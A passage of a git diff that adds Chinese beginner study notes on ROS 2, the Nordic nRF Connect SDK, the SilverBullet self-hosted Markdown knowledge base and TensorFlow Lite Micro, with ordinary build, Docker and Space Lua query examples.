C」是什么关系?** +应用层用 rclcpp/rclpy;MCU 侧可用 **micro-ROS** 或自定义桥接;ROS 2 管的是「系统级协作」,不替代裸机驱动。 + +**Q:必须学 C++ 吗?** +不必。原型、算法验证 Python 足够;性能关键路径(驱动、控制环)常用 C++。两者可在同一工作空间共存。 + +--- + +## 小结 + +ROS 2 把机器人软件拆成**可组合的节点**,用 **Topic / Service / Action / Parameter** 表达不同通信语义,用 **colcon + ament + launch** 统一构建与启动。零基础路径:理解工厂类比 → 搭工作空间 → 写一对 Pub/Sub → 写一个 Service → 用 Launch 联调 → 再接仿真或真机栈。官方入口 [github.com/ros2/ros2](https://github.com/ros2/ros2) 聚合各核心仓库;系统学习以 [docs.ros.org](https://docs.ros.org) 教程顺序为准,比零散搜代码更高效。 diff --git a/src/content/docs/projects/sdk-nrf.md b/src/content/docs/projects/sdk-nrf.md new file mode 100644 index 000000000..c1fd21059 --- /dev/null +++ b/src/content/docs/projects/sdk-nrf.md @@ -0,0 +1,239 @@ +--- +title: sdk-nrf — Nordic nRF Connect SDK 零基础学习笔记 +来源: nrfconnect/sdk-nrf +日期: 2026-06-13 +子分类: 嵌入式 +分类: 操作系统 +难度: 高级 +provenance: pipeline-v3 +--- + +## 是什么 + +**nRF Connect SDK**(仓库名 `sdk-nrf`,社区常简称 NCS)是 Nordic Semiconductor 为自家 nRF 系列无线芯片提供的**统一软件开发套件**。它把 Zephyr RTOS、无线协议栈、驱动、安全组件和示例应用打包成一套可量产的工具链,让你用同一套构建流程,从蓝牙心率带写到 Matter 智能灯泡,再到 LTE-M 资产追踪器。 + +日常类比:**宜家全屋定制系统**。 + +想象你要装修一套房子,里面有不同房间(蓝牙耳机、Thread 传感器、蜂窝定位器),每种房间需要不同建材(BLE 栈、OpenThread、LTE 调制解调器)。如果每间房都找不同包工队、用不同螺丝规格,成本爆炸。宜家做法是:**统一卡扣标准(Zephyr + west)+ 自家加固件(SoftDevice Controller、MPSL)+ 样板间(samples)**。你选板型、勾功能开关、改 overlay,剩下的框架 Nordic 已经搭好。 + +和裸跑 [[zephyr]] 的区别:Zephyr 是通用 RTOS 发行版,NCS 是在其上叠加 Nordic 专有无线控制器、多协议射频调度、认证样例和 VS Code 工具链的**厂商发行版**——类似 Ubuntu 之于裸 Linux 内核。 + +## 解决什么问题 + +Nordic 的 nRF 芯片家族横跨低功耗 BLE(nRF52/nRF54)、双核无线 SoC(nRF5340)、Wi-Fi 6 伴侣芯片(nRF7002)、蜂窝 IoT(nRF91)。若每个系列各维护一套闭源 SDK,开发者将面临: + +| 痛点 | NCS 的回应 | +| --- | --- | +| 跨芯片迁移等于重写 | 统一 west manifest + Kconfig,换板子主要改 devicetree overlay | +| BLE 控制器各家实现质量参差 | 默认 **SoftDevice Controller**(与历史 SoftDevice 同代码基,带 QDID 认证路径) | +| BLE + Thread 同时跑会抢射频 | **MPSL**(Multiprotocol Service Layer)时间片调度同一颗天线 | +| Matter 要拼 BLE 配网 + Thread 传输 + CSA 合规 | 官方 Matter fork 以 Zephyr module 集成,样本可直接过生态互操作 | +| 团队不懂 Zephyr 构建链 | nRF Connect for VS Code 封装 west build / flash / debug / Devicetree 可视化 | +| 超简单裸机项目不想上 RTOS | 并行提供 **nRF5 SDK**(无 Zephyr),按场景二选一 | + +一句话:**NCS 解决的是「在 Nordic 硬件上做可认证、可量产、可扩展的无线 IoT 产品」这条完整链路**,而不是只给你一个裸 BLE 例程。 + +### 支持硬件与协议(2026 年视角) + +- **芯片系列**:nRF54、nRF53、nRF52、nRF70(Wi-Fi)、nRF91(LTE-M / NB-IoT) +- **无线协议**:Bluetooth LE / Mesh、Thread、Zigbee、Matter、Wi-Fi、蜂窝 IoT +- **网络与云**:IPv6、UDP/TCP、MQTT、CoAP、LwM2M +- **安全**:mbedTLS、MCUboot、TF-M(Trusted Firmware-M)可选集成 + +## 核心概念 + +理解 NCS 等于理解四层栈:**West 元构建 → Zephyr 内核与驱动 → Nordic 无线专有层 → 应用 / 协议样本**。 + +### 1. Zephyr RTOS — 地基 + +NCS 以 [[zephyr]] 为操作系统底座,继承其四件套: + +- **Kernel**:抢占式调度、线程、同步原语、低功耗 tickless +- **Kconfig**(`prj.conf`):编译期功能开关,如 `CONFIG_BT=y` +- **Devicetree**(`.dts` / `.overlay`):引脚、时钟、外设拓扑 +- **west**:按 `west.yml` manifest 拉取 Zephyr + HAL + OpenThread + Matter 等子模块 + +在 NCS 里执行 `west build -b ` 时,CMake 先解析 devicetree,再按 Kconfig 裁剪协议栈,最后链接 Nordic 提供的控制器库。与纯 Zephyr 的差异在于:板级支持包(BSP)和无线控制器由 Nordic 维护并随 NCS 版本锁定测试矩阵。 + +### 2. BLE(Bluetooth Low Energy)— 近场对话 + +BLE 在 NCS 中采用经典 **Host + Controller** 分层: + +``` +应用(GATT 服务 / Nordic UART Service) + ↓ +Zephyr Bluetooth Host(L2CAP / ATT / GAP / GATT) + ↓ +HCI 分界线 + ↓ +Controller:SoftDevice Controller(默认)或 Zephyr Controller(社区级) + ↓ +2.4 GHz 射频硬件 +``` + +**SoftDevice Controller** 是 Nordic 从商业 SoftDevice 演进的开源控制器实现,量产项目默认选项,支持 LLPM(低延迟分包)、LE Audio 等 Nordic 强化特性。**Zephyr Controller** 可替换用于实验,但 Nordic 不为其提供量产支持。 + +典型开发路径:从 `samples/bluetooth/peripheral_uart` 或 `peripheral_hr` 入手,用 `prj.conf` 打开 `CONFIG_BT_PERIPHERAL`,用 nRF Connect for Mobile 连上验证。 + +### 3. Thread — 低功耗 IPv6 Mesh + +Thread 在 NCS 里由 **OpenThread**(见 [[openthread]])+ Nordic 802.15.4 射频驱动 + Zephyr 网络层拼成。设备获得可路由 IPv6 地址,可在 mesh 内多跳通信,经 Border Router 接入家庭宽带。 + +关键角色: + +- **Router**:常供电、转发包(智能插座、灯泡) +- **Sleepy End Device(SED)**:电池设备,周期性醒来 polling +- **Leader**:分区自动选举的管理节点,无单点硬件依赖 + +NCS 样本路径如 `samples/net/openthread/cli`,配合 nRF52840 DK 或 nRF5340 DK 可快速 form/join 网络。Nordic 是 Thread 1.4 认证的主要贡献者,客户产品可继承相关认证徽章。 + +### 4. Matter — 跨生态智能家居应用层 + +Matter 由 CSA(Connectivity Standards Alliance)制定,目标是让 Apple Home、Google Home、Amazon Alexa 等设备**互操作同一套应用数据模型**。在 NCS 上的协议分工: + +| 阶段 | 协议 | 作用 | +| --- | --- | --- | +| 配网(Commissioning) | Bluetooth LE(可选 NFC / QR) | 手机把 Wi-Fi/Thread 凭证交给新设备 | +| 日常通信 | Thread 或 Wi-Fi | 低功耗传感器走 Thread,高带宽走 Wi-Fi | +| 应用语义 | Matter Cluster | 统一「开关」「亮度」「门锁」数据模型 | + +NCS 通过专用 Matter fork 以 Zephyr module 引入;Matter 栈用 GN 构建成库,再与 CMake 构建的 Zephyr 应用链接。平台适配层实现 `BLE Manager`、`Thread Stack Manager` 等抽象接口,应用代码可保持生态无关。 + +**多协议同芯片**:Matter over Thread 典型拓扑是 **BLE 配网 + Thread 跑业务**。nRF5340 / nRF52840 上靠 **MPSL** 在单天线时间片上交替调度 BLE 与 802.15.4,避免两套固件抢射频。 + +### 5. West Manifest 与仓库结构 + +`sdk-nrf` 仓库本身是 **west manifest 根**: + +- `nrf/`:Nordic 子系统、库、应用、文档 +- `zephyr/`、`modules/`:由 `west update` 拉取的依赖 +- `west.yml`:锁定各 module 版本,保证可复现构建 + +版本号如 **NCS v3.2.x** 对应 Matter 1.5、Thread 1.4 等上游协议版本;升级 SDK 前务必查 Release Notes 里的协议兼容性表。 + +### 6. 构建与配置工具链 + +| 工具 | 用途 | +| --- | --- | +| `west` | 仓库管理、`west build` / `west flash` / `west debug` | +| `nrfutil` / `nrfjprog` | 烧录、UICR 配置 | +| nRF Connect for VS Code | 扩展包集成 Toolchain Manager、Kconfig、Devicetree 编辑器 | +| `twister` | Zephyr 测试框架,NCS CI 用于回归 | +| `sysbuild` | 多镜像构建(如 nRF5340 应用核 + 网络核) | + +## 使用场景 + +### 场景 1:可穿戴心率监测(BLE Peripheral) + +**需求**:nRF52833 手环,BLE 广播心率与步数,手机 App 连接,续航 7 天。 + +**为何选 NCS**: + +- SoftDevice Controller 功耗曲线经大量产品验证 +- `samples/bluetooth/peripheral_hr` 可直接 fork +- Zephyr 电源管理(`CONFIG_PM`)+ 外设 devicetree 描述传感器 I2C + +**关键配置片段**(`prj.conf`): + +```ini +CONFIG_BT=y +CONFIG_BT_PERIPHERAL=y +CONFIG_BT_DEVICE_NAME="HeartRateBand" +CONFIG_PM=y +CONFIG_PM_DEVICE=y +``` + +**流程概要**:`west build -b nrf52833dk/nrf52833 app` → `west flash` → nRF Connect for Mobile 查看 GATT Heart Rate Service。量产前走 QDID 相关认证路径时,保持默认 SoftDevice Controller 不切换 Zephyr Controller。 + +### 场景 2:Matter over Thread 智能灯泡(多协议量产) + +**需求**:nRF5340 灯泡,支持 Apple Home / Google Home 配网,Thread mesh 内可控,固件 OTA。 + +**为何选 NCS**: + +- 官方 `matter/light_switch` / `matter/lock` 样本展示完整配网 + Cluster 实现 +- MPSL 协调网络核上 BLE 与 802.15.4 并发 +- MCUboot + SMP 提供签名 OTA 通道 +- Matter 多 Fabric 支持,同一设备可加入多个家庭生态 + +**架构要点**: + +``` +应用核(Cortex-M33):Matter 应用 + OpenThread + BLE Host +网络核(可选):SoftDevice Controller + 802.15.4 驱动 +配网阶段:手机经 BLE 把 Thread 数据集写入设备 +运行阶段:设备作为 Thread Router 或 SED,Matter Cluster 控制继电器 +``` + +**开发入口**:`west build -b nrf5340dk/nrf5340/cpuapp samples/matter/light_switch`。调试配网失败时,先查 BLE 广播是否可见,再查 Thread dataset active 状态(`ot-ctl` / UART log)。 + +### 场景 3:资产追踪器(蜂窝 LTE-M + GNSS) + +**需求**:nRF9160 SiP,仓库冷链箱定位,每天上报温湿度 + GPS,电池 2 年。 + +**为何选 NCS**: + +- 集成 LTE-M/NB-IoT 调制解调器栈与 PSM/eDRX 省电模式 +- `samples/cellular/` 覆盖 MQTT、CoAP、HTTP 上云 +- 同一 SDK 团队若另有 BLE 网关,代码风格与 west 流程一致 + +此场景不强调 Matter/Thread,但体现 NCS 作为 **Nordic 全系列统一 SDK** 的广度——不是只会 BLE。 + +## 从零上手:推荐路径 + +### 环境准备(macOS / Linux / Windows) + +1. 安装 **nRF Connect for Desktop** → Toolchain Manager → 选择 NCS 版本(如 v3.2.x)一键装 toolchain +2. 或手动:`west init -m https://github.com/nrfconnect/sdk-nrf --mr v3.2.x` 后 `west update` +3. VS Code 安装 **nRF Connect for VS Code** 扩展,绑定 SDK 路径 + +### 第一个程序:Hello + BLE 广播 + +```bash +cd nrfconnect-sdk # west workspace 根 +west build -b nrf52840dk/nrf52840 zephyr/samples/basic/bluetooth_ibeacon +west flash +``` + +手机 nRF Connect 扫描到 iBeacon 报文,即验证 **工具链 + 控制器 + 射频** 全链路正常。 + +### 学习顺序建议 + +1. **Zephyr 四件套**:读懂 `prj.conf`、板级 `.overlay`、`west build` 日志 +2. **BLE GATT 服务**:peripheral_uart → 自定义 UUID +3. **OpenThread CLI**:form/join/ping,理解 Router / SED +4. **Matter 样本**:在官方 light_switch 上改 Cluster 属性 +5. **安全与 OTA**:MCUboot、签名密钥、多镜像 sysbuild + +预计有 C 语言与基础嵌入式经验者,从 Hello 到改 Matter 样本约 **4–8 周业余学习**;无 RTOS 经验者应先读完 [[zephyr]] 笔记中的 Kconfig/devicetree 章节。 + +## 与相关技术的关系 + +| 技术 | 关系 | +| --- | --- | +| [[zephyr]] | NCS 的 OS 底座;纯 Zephyr 不含 SoftDevice Controller / MPSL | +| [[openthread]] | Thread 协议实现,由 NCS 以 module 集成并配 Nordic 射频驱动 | +| nRF5 SDK | 老一代裸机/轻量 SDK,无 Zephyr;新无线项目优先 NCS | +| Arduino nRF52 | 面向原型,底层仍可追溯到 Nordic 栈,但不适合 Matter 量产 | +| ESP-IDF | 竞品生态(Wi-Fi + BLE),Matter 路径不同;NCS 强项在超低功耗 BLE + Thread | + +## 踩坑备忘 + +1. **没跑 `west update`**:克隆后直接 build 报缺 `hal_nordic`、`openthread` 等 module——首次和换分支后都要更新。 +2. **BLE 和 Thread 同时开射频冲突**:未启用 MPSL 或错误 pinmux 会导致配网超时;Matter 样本默认已配,自建项目要对照 `nrf5340dk` 参考设计。 +3. **错用 Zephyr BLE Controller 上量产**:`bt-ll-sw-split` snippet 仅适合实验;认证产品保持 SoftDevice Controller。 +4. **Devicetree 与 Kconfig 混用**:使能某驱动 → Kconfig;引脚/频率 → devicetree overlay。搞反了会遇「配置开了但硬件没接上」的灵异 bug。 +5. **Matter 版本与 NCS 版本绑定**:升级 NCS 大版本前查 Matter Release Notes,Cluster 变更可能导致手机生态 App 认不出旧固件。 +6. **nRF5340 双核镜像**:应用核与网络核需 sysbuild 分别编译合并,只烧应用核会导致 BLE 控制器缺失。 + +## 资源 + +- 官方文档:https://docs.nordicsemi.com/bundle/ncs-latest/page/nrf/index.html +- 主仓库:https://github.com/nrfconnect/sdk-nrf +- Nordic DevZone:论坛搜 NCS 标签,配网/认证类问题响应快 +- 工具:nRF Connect for Desktop / Mobile / VS Code +- 相关笔记:[[zephyr]]、[[openthread]] + +## 小结 + +**sdk-nrf(nRF Connect SDK)** 是 Nordic 为 nRF 无线芯片打造的 Zephyr 发行版:用 west 统一管理依赖,用 SoftDevice Controller 和 MPSL 解决 BLE/Thread 量产与多协议共存,用官方 Matter 集成打通智能家居生态。零基础应先跑通 BLE 样本理解构建链,再进入 Thread 与 Matter——切忌跳过 Zephyr 的 Kconfig/devicetree 基本功直接改 Cluster。掌握 NCS,等于掌握在 Nordic 硬件上做**可认证低功耗无线产品**的完整地图。 diff --git a/src/content/docs/projects/silverbullet.md b/src/content/docs/projects/silverbullet.md new file mode 100644 index 000000000..c10bb6785 --- /dev/null +++ b/src/content/docs/projects/silverbullet.md @@ -0,0 +1,299 @@ +--- +title: SilverBullet — 可编程的自托管 Markdown 知识库 +来源: https://github.com/silverbulletmd/silverbullet +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:自家书房的「活字典 + 小脚本工作台」 + +想象你在家里有一间书房:所有笔记都是 **普通 Markdown 文件**,放在你控制的硬盘里(不是某家云服务的黑盒)。你打开浏览器就能写、能搜、能链到另一页——像 [[Foam]] 或 Roam 那样,页面之间 **双向链接**,侧边栏告诉你「谁引用了这个概念」。 + +SilverBullet 比这多走了一步:这间书房里还藏着一位 **会 Lua 的小管家(Space Lua)**。你在某页写 `${query[[ ... ]]}`,它就能按条件列出未完成任务;写一段 `space-lua` 代码块,全库都能调用;甚至给 `/meet` 绑一个 **Slash 模板**,一键插入会议记录骨架。官方把产品定位成 **Programmable, Private, Browser-based, Open Source, Self Hosted** 的个人知识管理平台——不是「又一个 Markdown 编辑器」,而是 **笔记 + 维基 + 轻量数据库 + 脚本** 的组合体。 + +仓库 [silverbulletmd/silverbullet](https://github.com/silverbulletmd/silverbullet) 约 4900+ star(2026 年初),MIT 开源;官网 [silverbullet.md](https://silverbullet.md) 与 v2 文档 [v2.silverbullet.md](https://v2.silverbullet.md/) 持续更新。前端 TypeScript + CodeMirror 6 + Preact,后端 Go,笔记以 **Space(空间)** 为根目录存成 `.md` 文件。 + +零基础路径:**Docker 或二进制起一个 Space → 浏览器登录 → 写第一篇带链接的笔记 → 试 SLIQ 查询 → 按需写 Space Lua / 模板**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:SaaS 笔记的数据不在自己手里 + +Notion、部分 Roam 托管方案把内容锁在 vendor 格式或云端。SilverBullet **自托管**:Space 就是文件夹里的 Markdown,备份 = `rsync` / Git / 快照,符合 **数据主权(Data Sovereignty)**。 + +### 痛点 2:纯 Markdown 工具缺少「库级」能力 + +普通编辑器能写 `# 标题`,但难做:**全库任务视图**、**按 tag 聚合**、**动态首页**。SilverBullet 用 **Object Index** 索引页面、任务、标签、链接等,并通过 **SLIQ(Space Lua Integrated Query)** 像写 SQL 一样查笔记元数据。 + +### 痛点 3:扩展要么装插件市场,要么 fork 项目 + +SilverBullet 把扩展写进笔记本身:`space-lua` 代码块、`#meta/template/page` 页面模板、Plugs(Lua 插件包)。改行为 often **改 Markdown/Lua 文本**,可版本管理,适合「会一点脚本的知识工作者」。 + +### 痛点 4:要在手机、平板、桌面都能用,又不想 Electron 巨包 + +客户端是 **PWA(Progressive Web App)**:内容同步到浏览器本地存储,可离线读写的 entire Space;Chrome 系可「安装到桌面」,Safari/Android 可加主屏幕。不是 Electron 壳,而是 **打开 URL 就像 App**。 + +--- + +## 核心概念拆解 + +### 1. Space(空间) + +**Space** 是 SilverBullet 管理的 **根目录**:里面全是 Markdown **Page(页面)**。一页一个文件,路径即页面名(可含文件夹,如 `Projects/Weekly.md`)。服务器进程 `./silverbullet /path/to/space` 或 Docker 把 host 目录挂到 `/space`,所有读写都落盘到这个目录。 + +### 2. Page、Link 与双向链接 + +页面之间用 **Wiki 式链接**(具体语法见官方 Link 文档,与 Roam/Obsidian 的 `[[page]]` 同类)。SilverBullet 维护 **Linked Mention**:不只「我从 A 链到 B」,还能在 B 上看到 **哪些页链回了 B**。写综述、发现意外关联时,这比全文搜索更贴近「关系图」。 + +### 3. Live Preview 与 Outliner / Task + +- **Writer 向**:CodeMirror 6 上的 **Live Preview** Markdown 编辑。 +- **Outliner 向**:大纲工具折叠、重组层级。 +- **GTD 向**:Task 语法与索引;可配合 SLIQ 做「全库未完成待办」视图。 + +### 4. Objects 与 Object Index + +笔记里的结构(页面、任务、标签、`space-lua` 定义等)被解析为 **Object**,进入索引。查询时通过 `index.pages()`、`index.tag "task"` 等 API 访问——这是 SLIQ 的数据源,也是「笔记即数据库 schema」的基础。 + +### 5. Space Lua + +**Space Lua** 是嵌入 SilverBullet 的 Lua 方言(自研运行时,非标准 LuaJIT/WASM 套壳),两类用法: + +| 机制 | 作用 | +|------|------| +| ` ```space-lua ` 代码块 | **Definitions**:全 Space 生效的函数、命令、模板注册 | +| `${expression}` | **Expressions**:行内求值并 Live Preview 渲染结果 | + +加载顺序可用 `-- priority: N` 注释控制(数字越大越先加载);改脚本后 **System: Reload**(Ctrl+Alt+R)可热重载。 + +### 6. SLIQ(Integrated Query) + +SLIQ 用 `query[[ ... ]]` 语法,SQL 风格:`from` / `where` / `order by` / `limit` / `select`。在 Markdown 里写作 `${query[[ from p = index.pages() ... ]]}`,结果 **内联渲染** 成列表或表格。可与 `templates.pageItem`、`templates.taskItem` 等组合成富 UI。 + +### 7. Template 与 Slash Command + +- **字符串模板**:`template.new[==[Hello ${name}!]==]` 生成可复用片段。 +- **Page Template**:带 `#meta/template/page` 的页面,作为新建页的蓝图。 +- **Slash Template**:带 `#meta/template/slash` 的页面,最后一节路径名即 `/命令`,在光标处插入模板内容。 + +### 8. Plugs 与 Libraries + +**Plugs** 是随发行版自带的 Lua/TS 插件包;**libraries** 目录含标准库脚本、页面模板、slash 模板。高级用户可写自定义 Plug,但多数场景 **Space 内的 space-lua + 模板** 已够用。 + +### 9. 自托管与安全 + +默认 Docker/本地常 **无认证**,局域网内任何人可访问——生产环境务必设 **`SB_USER=username:password`**。对外网暴露需 **TLS**(反向代理或官方 Configuration 文档中的 HTTPS 选项)。与 [[foam]]「纯本地 VS Code 扩展」不同,SilverBullet 是 **常驻 Web 服务**,适合树莓派、 homelab VPS、内网 NAS。 + +--- + +## 代码示例 1:Docker Compose 启动 Space + +官方推荐用 Compose 管理单容器服务。下面是最小可用配置(**务必改掉默认密码**): + +```yaml +# compose.yml — 与 SilverBullet 官方 Install/Docker 文档一致 +services: + silverbullet: + image: ghcr.io/silverbulletmd/silverbullet:latest + restart: unless-stopped + environment: + - SB_USER=admin:请改成强密码 + volumes: + - ./space:/space + ports: + - "3000:3000" +``` + +```bash +# 在 compose.yml 所在目录 +docker compose up -d +docker compose logs -f + +# 浏览器打开 http://localhost:3000 ,用 SB_USER 登录 +# 笔记文件落在 ./space/*.md,可直接 git init 做版本管理 +``` + +要点: + +- 镜像标签 `:latest` 稳定版,`:v2` 跟踪 main 最新提交(更激进)。 +- 容器内 `/space` 的 UID/GID 会跟 host 挂载目录对齐,减少权限踩坑。 +- 升级:`docker compose pull && docker compose up -d`;升级后客户端有时需 **刷新两次** 才完全切到新版本。 + +--- + +## 代码示例 2:Space Lua 定义 + 行内表达式 + +在任意页面(或 `Library/` 下的库页)加入 **全局函数**: + +````markdown +## 工具函数:两数相加 + +```space-lua +-- priority: 10 +function adder(a, b) + return a + b +end +``` +```` + +同一 Space 任意页面可写: + +```markdown +10 + 2 = ${adder(10, 2)} + + +``` + +再定义一个 **问候模板**(常见于 space-lua 块或配置页): + +```space-lua +greetings = greetings or {} +greetings.sayHello = template.new[==[你好,${name}!今天是 ${date.today}。]==] +``` + +使用:`${greetings.sayHello { name = "小明" }}` + +这展示了 SilverBullet 的核心循环:**Markdown 存内容 → Lua 存逻辑 → `${}` 把逻辑渲染进页面**。 + +--- + +## 代码示例 3:SLIQ 查询未完成任务与最近页面 + +**最近改动的 5 个页面**(首页 Dashboard 常用): + +```markdown +## 最近编辑 + +${query[[ + from p = index.pages() + order by p.lastModified desc + limit 5 + select templates.pageItem(p) +]]} +``` + +**全库未完成待办**(需任务被正确索引为 task object): + +```markdown +## 待办 inbox + +${query[[ + from t = index.tag "task" + where not t.done + order by t.pageLastModified desc + limit 20 + select templates.taskItem(t) +]]} +``` + +**按 tag 统计**(发现标签使用是否失衡): + +```markdown +${query[[ + from tag = index.tag "tag" + group by tag.name + select { tag = name, count = #group } + order by count desc + limit 10 +]]} +``` + +SLIQ 返回 Lua table;`select` 里用模板函数时,每一项会渲染成带链接的列表项——任务项甚至可 **勾选同步回源页面**(`templates.taskItem` 的行为以当前版本文档为准)。 + +--- + +## 代码示例 4:Slash 模板骨架(会议记录) + +创建页面 `Templates/Slash/meet.md`,元数据标记 slash 模板(具体 frontmatter/tag 以 v2 文档 **Template** 页为准),内容示例: + +```markdown +# 会议 · ${date.today} + +**参与**: +**议程**: + +## 决议 + +- [ ] + +## 待办 + +- [ ] @某人 — 事项 — 截止日期 +``` + +保存后,编辑器输入 `/meet` 可在光标处插入上述结构。与 [[foam]] 的 `.foam/templates/` 类似,但 **命令名来自页面路径**,且可嵌 `${}` 动态日期。 + +--- + +## 与相近工具怎么选 + +| 维度 | SilverBullet | [[foam]] | Obsidian | +|------|--------------|----------|----------| +| 运行形态 | 自托管 Web + PWA | VS Code 扩展 | 桌面/Electron | +| 数据 | 文件夹 Markdown | 文件夹 Markdown | 本地库(含插件云同步) | +| 编程扩展 | Space Lua + SLIQ 内建 | JS 模板 + 社区扩展 | 插件市场 | +| 双向链接 | 有 | 有 | 有 | +| 离线 | PWA 同步整库 | 纯本地 | 本地为主 | +| 适合谁 | 想要 **可编程 PKM + 自托管** | 已在 VS Code 生态 | 插件丰富、开箱 UI | + +SilverBullet **不是** [[marktext]] 那种单机所见即所得编辑器;也 **不是** 团队协作 Wiki(如 Confluence)。它的 sweet spot 是:**一个人(或小家庭)** 把 Markdown 空间当成 **可查询、可脚本化的第二大脑**。 + +--- + +## 安装方式速览 + +| 方式 | 说明 | +|------|------| +| **Docker / Compose** | 上文示例;GHCR 与 Docker Hub 均有镜像 | +| **二进制** | 从 [Releases](https://github.com/silverbulletmd/silverbullet/releases) 下载,`./silverbullet /path/to/space` | +| **在线试用** | [silverbullet.md](https://silverbullet.md) 可体验 PWA(数据在官方演示空间,勿放隐私) | +| **开发构建** | 需 Node 24+、Go;`npm install && air /path/to/space` 或 `make build` | + +对外访问生产实例:**SB_USER**、**TLS**、定期 **备份 `/space`** 三件套不要省。 + +--- + +## 常用操作与快捷键(入门) + +- **Page Picker**:快速跳页(类似笔记 App 的全局搜索)。 +- **Command Palette**:注册命令与系统命令(含 Reload、Version)。 +- **System: Reload**:改 space-lua 后重载脚本而不整页刷新。 +- 文档站本身大量 `${widgets.commandButton(...)}` 演示——说明 **文档即 SilverBullet 页面**,meta 与产品一体。 + +--- + +## 学习路径建议 + +1. **Day 1**:Docker 起 Space,写 3 页互相链接,熟悉 Live Preview 与 Page Picker。 +2. **Day 2**:加 Tasks、标签,写第一个 `${query[[ from p = index.pages() limit 5 ]]}` dashboard。 +3. **Day 3**:读 [Space Lua](https://v2.silverbullet.md/Space%20Lua) 与 [Integrated Query](https://v2.silverbullet.md/Space%20Lua/Integrated%20Query),复制官方 Library 片段改一改。 +4. **Day 4**:做一个 Page Template + Slash Template,统一日记/项目页格式。 +5. **Week 2+**:`git init` 备份 space;需要时再研究 Plugs、HTTPS、多设备 PWA 安装。 + +--- + +## 常见问题 + +**Q:和 Obsidian 比,值得迁吗?** +若你 **必须自托管**、喜欢 **内联 Lua/查询**、不想装 Electron,值得试。若依赖 Obsidian 插件生态或移动端体验,Obsidian 仍更成熟。 + +**Q:space-lua 和「真 Lua」兼容吗?** +大体兼容,但有 [Quirks](https://v2.silverbullet.md/Space%20Lua/Quirks);文档示例常用 ` ```lua ` 展示,**自己 Space 里要用 `space-lua`** 才会激活定义。 + +**Q:多人协作呢?** +产品设计偏 **个人** Space;多人同时写同一文件需自行协调(Git 合并 Markdown)。不是 Google Docs 式实时协作。 + +**Q:AI / LLM 政策?** +仓库 CONTRIBUTING 提到 [LLM Use policy](https://silverbullet.md/LLM%20Use)——贡献代码前建议阅读。 + +--- + +## 小结 + +SilverBullet 把 **Markdown 文件**、**维基式链接** 和 **Space Lua + SLIQ** 绑在同一套自托管 Web 应用里:笔记不仅是给人读的,还可以 **查、算、模板化、命令化**。入门成本比 [[marktext]] 高(要跑服务、要学 `${query}`),但换来的是 **数据在握、行为可编程** 的个人知识系统——像给书房装上了索引卡片柜和一条可重复执行的小自动化流水线。 + +**下一步**:Fork 官方 compose 示例,在 `./space` 里建 `Home.md` dashboard,把「最近页面 + 未完成任务」两个 SLIQ 块跑通,再按需加第一个 `/daily` slash 模板。 diff --git a/src/content/docs/projects/tflite-micro.md b/src/content/docs/projects/tflite-micro.md new file mode 100644 index 000000000..cf1837363 --- /dev/null +++ b/src/content/docs/projects/tflite-micro.md @@ -0,0 +1,282 @@ +--- +title: TensorFlow Lite Micro — 把神经网络塞进几 KB RAM 的「袖珍推理引擎」 +来源: 'https://github.com/tensorflow/tflite-micro' +日期: '2026-06-13' +子分类: 嵌入式 +分类: 操作系统 +难度: '中级' +provenance: 'pipeline-v3' +--- + +## 是什么 + +**TensorFlow Lite Micro**(简称 **TFLM**,社区与文档中也逐渐改称 **LiteRT for Microcontrollers**)是 Google 为**微控制器、DSP 和极度受限嵌入式设备**维护的机器学习推理运行时。源码托管在 [tensorflow/tflite-micro](https://github.com/tensorflow/tflite-micro),从 TensorFlow 主仓独立出来,专门服务「没有操作系统、没有 `malloc`、Flash 只有几百 KB」的场景。 + +日常类比:**手机 App vs 手表上的表盘程序**。 + +你在手机上跑 [[tensorflow]] 训练的完整模型,就像装一个功能齐全的 App——后台服务、动态内存、网络随时拉数据都行。但一块 STM32 或 ESP32 芯片更像智能手表表盘:屏幕小、电池小、程序必须在出厂时就占好固定内存,运行时不能突然向系统要一大块堆内存。TFLM 就是给这类设备准备的「表盘级推理引擎」:只负责**按固定剧本执行已经训练好的模型**,不负责训练、不负责联网更新权重,把体积和 RAM 压到能塞进手表芯片里。 + +和桌面/手机上的 TensorFlow Lite(LiteRT)相比,TFLM 砍掉了更多东西:无动态内存分配、无完整 C++ 标准库依赖、算子集合是子集、API 是底层 C++。若你的设备跑 Linux(如树莓派),通常用标准 LiteRT 更省事;若目标是 Cortex-M、ESP32、RISC-V MCU,TFLM 才是正选。 + +## 解决什么问题 + +| 痛点 | 云端 / 手机推理 | TFLM 的回应 | +| --- | --- | --- | +| RAM 极小 | 运行时 + 张量常需 MB 级 | 核心运行时约 **16 KB**(Arm Cortex-M3 上测过),张量区预分配 | +| 无操作系统 | 依赖 POSIX、`malloc`、线程 | **无 OS 即可运行**,不强制标准库 | +| 功耗与延迟 | 推理需联网或唤醒大核 | **本地推理**,数据不出设备,适合隐私与实时控制 | +| 模型体积 | 浮点模型动辄 MB | 支持 **int8 全量化**,模型可嵌进 Flash 只读区 | +| 硬件碎片化 | 一套二进制难覆盖所有 MCU | 可移植内核 + **CMSIS-NN / Ethos-U / ESP-NN** 等加速后端 | + +典型落地场景:关键词唤醒(`micro_speech`)、简单视觉(`person_detection`)、传感器异常检测、家电自适应、工业边缘「这是不是故障」分类——都是**毫秒级、常开、不能依赖 Wi-Fi** 的任务。 + +## 核心概念 + +### 1. 推理-only:训练在 PC,设备只「放映胶片」 + +TFLM **不支持设备端训练**。工作流永远是: + +``` +Python 训练 → 导出 TFLite FlatBuffer → 转成 C 数组或烧进 Flash → C++ 解释器 Invoke() +``` + +设备上的程序不理解「反向传播」,只理解一张静态计算图。类比:电影院只放拷贝好的胶片,不会在放映厅里现拍电影。 + +### 2. FlatBuffer 模型 + `GetModel()` + +模型文件是 **TensorFlow Lite FlatBuffer** 格式(`.tflite`)。嵌入式部署时,常用 `xxd` 或构建脚本把二进制转成 `unsigned char g_model[]`,链接进固件。运行时通过 `tflite::GetModel(g_model)` 解析,并检查 `TFLITE_SCHEMA_VERSION` 是否与当前库兼容。 + +### 3. `MicroInterpreter`:解释器三件套 + +推理的核心对象是 `tflite::MicroInterpreter`,创建时需要四样东西: + +| 组件 | 作用 | +| --- | --- | +| `Model*` | 编译进固件的 FlatBuffer | +| `MicroMutableOpResolver` | 注册本模型用到的算子(如 `FullyConnected`、`Conv2D`) | +| `tensor_arena` | **预分配**的一块 `uint8_t` 内存,供所有中间张量复用 | +| `ErrorReporter` | 日志输出(可对接 